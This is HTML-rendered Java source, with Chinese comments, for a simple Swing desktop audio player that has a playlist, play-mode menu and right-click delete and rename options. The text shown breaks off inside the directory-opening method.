<P>public class MediaPlayer extends JFrame implements ActionListener,Runnable<BR>{<BR>&nbsp;private JMenuBar&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bar;//菜单条<BR>&nbsp;private JMenu&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fileMenu,choiceMenu,aboutMenu;<BR>&nbsp;private JMenuItem&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; openItem,openDirItem,closeItem,about,infor;<BR>&nbsp;private JCheckBoxMenuItem onTop;<BR>&nbsp;private boolean&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; top=false,loop;//设定窗口是否在最前面<BR>&nbsp;private Player&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; player;//Play是个实现Controller的接口<BR>&nbsp;private File&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; file,listFile;//利用File类结合JFileChooser进行文件打开操作,后则与list.ini有关<BR>&nbsp;private Container&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; c;<BR>&nbsp;//private UIManager.LookAndFeelInfo[] look;<BR>&nbsp;private String&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; title,listIniAddress;//标题<BR>&nbsp;private FileDialog&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fd;<BR>&nbsp;private JPanel&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; panel,panelSouth;<BR>&nbsp;private Icon&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; icon; //开始进入的时候要显示的图标，它为抽象类，不能自己创建<BR>&nbsp;private JLabel&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; label,listB;//用来显示图标<BR>&nbsp;<BR>&nbsp;&nbsp;&nbsp; private JList&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; list;//播放清单<BR>&nbsp;&nbsp;&nbsp; private JScrollPane&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; scroll;//使播放清单具有滚动功能<BR>&nbsp;&nbsp;&nbsp; private ListValues&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; listWriteFile;//用于向文件中读取对象<BR>&nbsp;&nbsp;&nbsp; private ObjectInputStream input;//对象输入流<BR>&nbsp;&nbsp;&nbsp; private ObjectOutputStream output;//对象输出流<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; private JPopupMenu&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; popupMenu;//鼠标右键弹出菜单<BR>&nbsp;&nbsp;&nbsp; private JMenuItem&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; del,delAll,reName;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //弹出菜单显示的菜单项,包括删除,全部删除和重命名<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; private Vector&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fileName,dirName,numList;<BR>&nbsp;&nbsp;&nbsp; private String&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; files,dir;<BR>&nbsp;&nbsp;&nbsp; private int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; index;//曲目指针<BR>&nbsp;&nbsp;&nbsp; private Properties&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; prop;//获得系统属性<BR>&nbsp;&nbsp;&nbsp; private int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; indexForDel;//标志要删除的列表项目的索引<BR>&nbsp;&nbsp;&nbsp; private ButtonGroup&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; buttonGroup;//控制按钮组<BR>&nbsp;&nbsp;&nbsp; private JRadioButtonMenuItem[]&nbsp;&nbsp;&nbsp; buttonValues;<BR>&nbsp;&nbsp;&nbsp; private String[]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; content={"随机播放","顺序播放","单曲循环"};<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; private DialogDemo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dialog1;<BR>&nbsp;&nbsp;&nbsp; //private JDialogTest&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dialog2;//用于显示播放清单<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;<BR>&nbsp;<BR>&nbsp;MediaPlayer()//构造函数<BR>&nbsp;{<BR>&nbsp;&nbsp;super("java音频播放器1.1版");//窗口标题<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; c=getContentPane();<BR>&nbsp;&nbsp;c.setLayout(new BorderLayout());<BR>&nbsp;&nbsp;//c.setBackground(new Color(40,40,95));<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;fileName=new Vector(1);<BR>&nbsp;&nbsp;dirName=new Vector(1);<BR>&nbsp;&nbsp;numList=new Vector(1);//构造三个容器用于支持播放清单<BR>&nbsp;&nbsp;//vectorToString=new String[];<BR>&nbsp;&nbsp;//prop=new Properties(System.getProperties());<BR>&nbsp;&nbsp;//listIniAddress=prop.getProperty("user.dir")+"<A href="file://list.ini/">\\list.ini</A>";<BR>&nbsp;&nbsp;//listFile=new File(listIniAddress);//本来这些代码用来取的系统属性，后来<BR>&nbsp;&nbsp;//发现根本就不用这么麻烦<BR>&nbsp;&nbsp;listFile=new File("list.ini");//直接存于此目录<BR>&nbsp;&nbsp;Thread readToList=new Thread(this);//注意编线程程序的时候要注意运行的时候含有的变量亿定义或者初始化，<BR>&nbsp;&nbsp;//这就要求线程要等上述所说的情况下再运行，否则很容易发生错误或则异常<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;list=new JList();<BR>&nbsp;&nbsp;list.setSelectionMode(ListSelectionModel.MULTIPLE_INTERVAL_SELECTION);<BR>&nbsp;&nbsp;list.setSelectionForeground(new Color(0,150,150));<BR>&nbsp;&nbsp;list.setVisibleRowCount(10);<BR>&nbsp;&nbsp;list.setFixedCellHeight(12);<BR>&nbsp;&nbsp;list.setFixedCellWidth(250);<BR>&nbsp;&nbsp;list.setFont(new Font("Serif",Font.PLAIN,12));<BR>&nbsp;&nbsp;list.setBackground(new Color(40,40,95));<BR>&nbsp;&nbsp;list.setForeground(new Color(0,128,255));<BR>&nbsp;&nbsp;//list.setOpaque(false);<BR>&nbsp;&nbsp;list.setToolTipText("点右键显示更多功能");//创建播放清单并设置各个属性<BR>&nbsp;&nbsp;list.addMouseListener(new MouseAdapter()<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;public void mouseClicked(MouseEvent e)<BR>&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (e.getClickCount() == 2) //判断是否双击<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; index = list.locationToIndex(e.getPoint());//将鼠标坐标转化成list中的选项指针<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; createPlayer2();<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //System.out.println("Double clicked on Item " + index);，此是测试的时候加的<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* public void mousePressed(MouseEvent e)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;checkMenu(e);//自定义函数，判断是否是右键，来决定是否显示菜单<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }*/<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public void mouseReleased(MouseEvent e)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;checkMenu(e);//与上面的一样，判断是否鼠标右键<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</P>
<P>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;);<BR>&nbsp;&nbsp;//listB=new JLabel(new ImageIcon("qingdan.gif"),SwingConstants.CENTER);<BR>&nbsp;&nbsp;scroll=new JScrollPane(list);//用于存放播放列表<BR>&nbsp;&nbsp;//dialog2=new JDialogTest(MediaPlayer.this,"播放清单",scroll);<BR>&nbsp;&nbsp;//dialog2.setVisible(true);<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;readToList.start();//启动先程，加载播放列表<BR>&nbsp;&nbsp;try<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;Thread.sleep(10);<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;catch(InterruptedException e)<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;e.printStackTrace();<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;/*look=UIManager.getInstalledLookAndFeels();<BR>&nbsp;&nbsp;try<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;UIManager.setLookAndFeel(look[2].getClassName());<BR>&nbsp;&nbsp;&nbsp;SwingUtilities.updateComponentTreeUI(this);<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;catch(Exception e)<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;e.printStackTrace();<BR>&nbsp;&nbsp;}*///与下面的代码实现相同的功能,但执行速度要慢，原因:明显转了个大弯<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;/*try<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;UIManager.setLookAndFeel(UIManager.getSystemLookAndFeelClassName());<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;catch(Exception e)<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;e.printStackTrace();<BR>&nbsp;&nbsp;} *///此段代码使执行速度大大降低<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;bar=new JMenuBar();<BR>&nbsp;&nbsp;setJMenuBar(bar);//此两行创建菜单栏并放到此窗口程序<BR>&nbsp;&nbsp;//bar.setBackground(new Color(48,91,183));<BR>&nbsp;&nbsp;fileMenu=new JMenu("文件");<BR>&nbsp;&nbsp;bar.add(fileMenu);<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;choiceMenu=new JMenu("控制");<BR>&nbsp;&nbsp;bar.add(choiceMenu);<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;aboutMenu=new JMenu("帮助");<BR>&nbsp;&nbsp;bar.add(aboutMenu);<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;openItem&nbsp;&nbsp;&nbsp; =new JMenuItem("打开文件");<BR>&nbsp;&nbsp;openDirItem =new JMenuItem("打开目录");<BR>&nbsp;&nbsp;closeItem&nbsp;&nbsp; =new JMenuItem("退出程序");<BR>&nbsp;&nbsp;openItem.addActionListener(this);<BR>&nbsp;&nbsp;openDirItem.addActionListener(this);<BR>&nbsp;&nbsp;closeItem.addActionListener(this);<BR>&nbsp;&nbsp;fileMenu.add(openItem);<BR>&nbsp;&nbsp;fileMenu.add(openDirItem);<BR>&nbsp;&nbsp;fileMenu.add(closeItem);<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;onTop=new JCheckBoxMenuItem("播放时位于最前面",top);<BR>&nbsp;&nbsp;choiceMenu.add(onTop);<BR>&nbsp;&nbsp;onTop.addItemListener(new ItemListener()<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;public void itemStateChanged(ItemEvent e)<BR>&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;if(onTop.isSelected())<BR>&nbsp;&nbsp;&nbsp;&nbsp;top=true;<BR>&nbsp;&nbsp;&nbsp;&nbsp;else top=false;<BR>&nbsp;&nbsp;&nbsp;&nbsp;setAlwaysOnTop(top);<BR>&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;);<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;choiceMenu.addSeparator();//加分割符号<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;buttonGroup=new ButtonGroup();<BR>&nbsp;&nbsp;buttonValues=new JRadioButtonMenuItem[3];<BR>&nbsp;&nbsp;for(int bt=0;bt&lt;3;bt++)<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;buttonValues[bt]=new JRadioButtonMenuItem(content[bt]);<BR>&nbsp;&nbsp;&nbsp;buttonGroup.add(buttonValues[bt]);<BR>&nbsp;&nbsp;&nbsp;choiceMenu.add(buttonValues[bt]);<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;buttonValues[0].setSelected(true);<BR>&nbsp;&nbsp;choiceMenu.addSeparator();<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;/*loopItem=new JCheckBoxMenuItem("是否循环");<BR>&nbsp;&nbsp;choiceMenu.add(loopItem);<BR>&nbsp;&nbsp;loopItem.addItemListener(new ItemListener()<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;public void itemStateChanged(ItemEvent e)<BR>&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;loop=!loop;<BR>&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;);*/<BR>&nbsp;&nbsp;infor=new JMenuItem("软件简介");<BR>&nbsp;&nbsp;aboutMenu.add(infor);<BR>&nbsp;&nbsp;infor.addActionListener(this);<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; about=new JMenuItem("关于作者");<BR>&nbsp;&nbsp;about.addActionListener(this);<BR>&nbsp;&nbsp;aboutMenu.add(about);<BR>&nbsp;&nbsp;//菜单栏设置完毕<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;panel=new JPanel();<BR>&nbsp;&nbsp;panel.setLayout(new BorderLayout());<BR>&nbsp;&nbsp;c.add(panel,BorderLayout.CENTER);<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;panelSouth=new JPanel();<BR>&nbsp;&nbsp;panelSouth.setLayout(new BorderLayout());<BR>&nbsp;&nbsp;c.add(panelSouth,BorderLayout.SOUTH);<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;icon=new&nbsp; ImageIcon("icon\\Player.jpg");<BR>&nbsp;&nbsp;label=new JLabel(icon);<BR>&nbsp;&nbsp;panel.add(label);<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;popupMenu=new JPopupMenu();<BR>&nbsp;&nbsp;del&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =new JMenuItem("删除");//鼠标右键弹出菜单对象实例化<BR>&nbsp;&nbsp;popupMenu.add(del);<BR>&nbsp;&nbsp;del.addActionListener(this);<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;delAll&nbsp;&nbsp; =new JMenuItem("全部删除");<BR>&nbsp;&nbsp;popupMenu.add(delAll);<BR>&nbsp;&nbsp;delAll.addActionListener(this);<BR>&nbsp;&nbsp;reName&nbsp;&nbsp; =new JMenuItem("重命名");<BR>&nbsp;&nbsp;popupMenu.add(reName);<BR>&nbsp;&nbsp;reName.addActionListener(this);<BR>&nbsp;&nbsp;<BR>&nbsp;<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;scroll=new JScrollPane(list);//用于存放播放列表<BR>&nbsp;&nbsp;listB=new JLabel(new ImageIcon("icon\\qingdan.gif"),SwingConstants.CENTER);<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;panelSouth.add(listB,BorderLayout.NORTH);<BR>&nbsp;&nbsp;panelSouth.add(scroll,BorderLayout.CENTER);<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;dialog1=new DialogDemo(MediaPlayer.this,"软件说明");<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;this.setDefaultCloseOperation(WindowConstants.DO_NOTHING_ON_CLOSE);//设定窗口关闭方式<BR>&nbsp;&nbsp;//this.setTitle("d");编译通过，说明可以再次设定标题<BR>&nbsp;&nbsp;this.setLocation(400,250);//设定窗口出现的位置<BR>&nbsp;&nbsp;//this.setSize(350,320);//窗口大小<BR>&nbsp;&nbsp;setSize(350,330);<BR>&nbsp;&nbsp;this.setResizable(false);//设置播放器不能随便调大小<BR>&nbsp;&nbsp;this.setVisible(true);//此句不可少，否则窗口会不显示<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;<BR>&nbsp;}<BR>&nbsp;<BR>&nbsp;public void actionPerformed(ActionEvent e)<BR>&nbsp;{<BR>&nbsp;&nbsp;if(e.getSource()==openItem)//getSource()判断发生时间的组键<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;//System.out.println("d");测试用<BR>&nbsp;&nbsp;&nbsp;openFile();<BR>&nbsp;&nbsp;&nbsp;//createPlayer();<BR>&nbsp;&nbsp;&nbsp;//setTitle(title);<BR>&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;if(e.getSource()==openDirItem)//打开目录<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;openDir();<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;if(e.getSource()==closeItem)//推出播放器<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;exity_n();<BR>&nbsp;&nbsp;&nbsp;//System.exit(0);<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;if(e.getSource()==about)<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;JOptionPane.showMessageDialog(this,"此简易播放器由计科0302\n"<BR>&nbsp;&nbsp;&nbsp;+"harly\n&nbsp; "+"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 完成&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ",<BR>&nbsp;&nbsp;&nbsp;"参与者",<BR>&nbsp;&nbsp;&nbsp;JOptionPane.INFORMATION_MESSAGE);<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;if(e.getSource()==del)<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;//index<BR>&nbsp;&nbsp;&nbsp;//delPaintList(index);<BR>&nbsp;&nbsp;&nbsp;fileName.removeElementAt(indexForDel);<BR>&nbsp;&nbsp;&nbsp;dirName.removeElementAt(indexForDel);<BR>&nbsp;&nbsp;&nbsp;numList.removeAllElements();//从三个容器里面移除此项<BR>&nbsp;&nbsp;&nbsp;Enumeration enumFile=fileName.elements();<BR>&nbsp;&nbsp;&nbsp;while(enumFile.hasMoreElements())<BR>&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;numList.addElement((numList.size()+1)+"."+enumFile.nextElement());<BR>&nbsp;&nbsp;&nbsp;&nbsp;//numList添加元素，显示播放里表中<BR>&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;//list.setListData(fileName);<BR>&nbsp;&nbsp;&nbsp;list.setListData(numList);<BR>&nbsp;&nbsp;&nbsp;if(index&lt;indexForDel)<BR>&nbsp;&nbsp;&nbsp;list.setSelectedValue(numList.elementAt(index),true);<BR>&nbsp;&nbsp;&nbsp;else<BR>&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;if(index==indexForDel);<BR>&nbsp;&nbsp;&nbsp;&nbsp;else<BR>&nbsp;&nbsp;&nbsp;&nbsp;if(index!=0)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; list.setSelectedValue(numList.elementAt(index-1),true);<BR>&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;//list.setSelectedIndex(index);<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;if(e.getSource()==delAll)//全部删除<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;fileName.removeAllElements();<BR>&nbsp;&nbsp;&nbsp;dirName.removeAllElements();<BR>&nbsp;&nbsp;&nbsp;numList.removeAllElements();<BR>&nbsp;&nbsp;&nbsp;list.setListData(numList);<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;if(e.getSource()==reName)//重命名<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;String name;//=JOptionPane.showInputDialog(this,"请输入新的名字");<BR>&nbsp;&nbsp;&nbsp;try<BR>&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;name=reNames();<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fileName.setElementAt(name,indexForDel);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; numList.setElementAt((indexForDel+1)+"."+name,indexForDel);<BR>&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;catch(ReName e2)//自定义的异常<BR>&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;if(e.getSource()==infor)<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;dialog1.setVisible(true);<BR>&nbsp;&nbsp;}<BR>&nbsp;}<BR>&nbsp;<BR>&nbsp;public static void main(String[] args)<BR>&nbsp;{<BR>&nbsp;&nbsp;final MediaPlayer mp=new MediaPlayer();<BR>&nbsp;&nbsp;mp.setIconImage(new ImageIcon("icon\\mPlayer.jpg").getImage());//改变默认图标<BR>&nbsp;&nbsp;mp.addWindowListener(new WindowAdapter()//注册窗口事件<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;public void windowClosing(WindowEvent e)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //System.exit(0);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mp.exity_n();<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;);<BR>&nbsp;&nbsp;System.out.println("注意：更新文件列表后，请先正常关闭播放器"<BR>&nbsp;&nbsp;+"\n然后再关闭此DOS窗口，否则导致播放列表不能保存！！");<BR>&nbsp;}<BR>&nbsp;<BR>&nbsp;private void openFile()//为了界面原因，此代码重写，估计兼容性不好了<BR>&nbsp;{<BR>&nbsp;&nbsp;/*JFileChooser fileChooser=new JFileChooser();//文件选择器<BR>&nbsp;&nbsp;fileChooser.setFileSelectionMode(JFileChooser.FILES_ONLY);//可以选择文件不能目录<BR>&nbsp;&nbsp;int result=fileChooser.showOpenDialog(this);//创建文件打开对话框，并设定此程序为父窗口监控*/<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;/*通过result的值来判断文件是否打开成功<BR>&nbsp;&nbsp; *JFileChooser类有很多静态成员变量<BR>&nbsp;&nbsp; **/<BR>&nbsp;&nbsp; /*if(result==JFileChooser.CANCEL_OPTION)<BR>&nbsp;&nbsp; {<BR>&nbsp;&nbsp; &nbsp;file=null;//file已经在类中定义，如果选择取消，file指向为空<BR>&nbsp;&nbsp; }<BR>&nbsp;&nbsp; else<BR>&nbsp;&nbsp; {<BR>&nbsp;&nbsp; &nbsp;file=fileChooser.getSelectedFile();//获得文件对象<BR>&nbsp;&nbsp; &nbsp;title=file.getAbsolutePath();//取得文件的绝对路径并且赋给title设定标题<BR>&nbsp;&nbsp; }*/<BR>&nbsp;&nbsp; //if(fd==null)<BR>&nbsp;&nbsp; //{<BR>&nbsp;&nbsp; &nbsp;//String filename="java音频播放器";<BR>&nbsp;&nbsp; &nbsp;fd = new FileDialog(MediaPlayer.this);<BR>&nbsp;&nbsp; &nbsp;//Filters fl=new Filters();<BR>&nbsp;&nbsp; &nbsp;//fd.setFilenameFilter(fl);<BR>&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;fd.setVisible(true);<BR>&nbsp;&nbsp;&nbsp;if (fd.getFile() != null)<BR>&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;title = fd.getDirectory() + fd.getFile();//原因请见同目录下的FileDialogDemo.java文件<BR>&nbsp;&nbsp;&nbsp;&nbsp;files=fd.getFile();<BR>&nbsp;&nbsp;&nbsp;&nbsp;//dir&nbsp; =fd.getDirectory();<BR>&nbsp;&nbsp;&nbsp;&nbsp;file=new File(title);<BR>&nbsp;&nbsp;&nbsp;&nbsp;createPlayer();<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;//title=filename;<BR>&nbsp;&nbsp;&nbsp;//fd=null;//缺少此句如果第一次打开文件的时候取消操作的时候第二次也不能打开文件了<BR>&nbsp;&nbsp;//}<BR>&nbsp;}<BR>&nbsp;private void openDir()<BR>&nbsp;{<BR>&nbsp;&nbsp;JFileChooser fileChooser=new JFileChooser();<BR>&nbsp;&nbsp;fileChooser.setFileSelectionMode(JFileChooser.DIRECTORIES_ONLY);<BR>&nbsp;&nbsp;int result=fileChooser.showOpenDialog(MediaPlayer.this);<BR>&nbsp;&nbsp;if(result==JFileChooser.CANCEL_OPTION)<BR>&nbsp;&nbsp;return;<BR>&nbsp;&nbsp;file=fileChooser.getSelectedFile();<BR>&nbsp;&nbsp;if(file==null||file.getName().equals(""))<BR>&nbsp;&nbsp;JOptionPane.showMessageDialog(this,"错误的路径",<BR>&nbsp;&nbsp;"出错了",JOptionPane.ERROR_MESSAGE);<BR>&nbsp;&nbsp;String[] sFiles=file.list();<BR>&nbsp;&nbsp;for(int i=0;i&lt;sFiles.length;i++)<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;fileName.addElement(sFiles[i]);<BR>&nbsp;&nbsp;&nbsp;numList.addElement((numList.size()+1)+"."+sFiles[i]);<BR>&nbsp;&nbsp;&nbsp;dirName.addElement(file.getAbsolutePath()+"<A 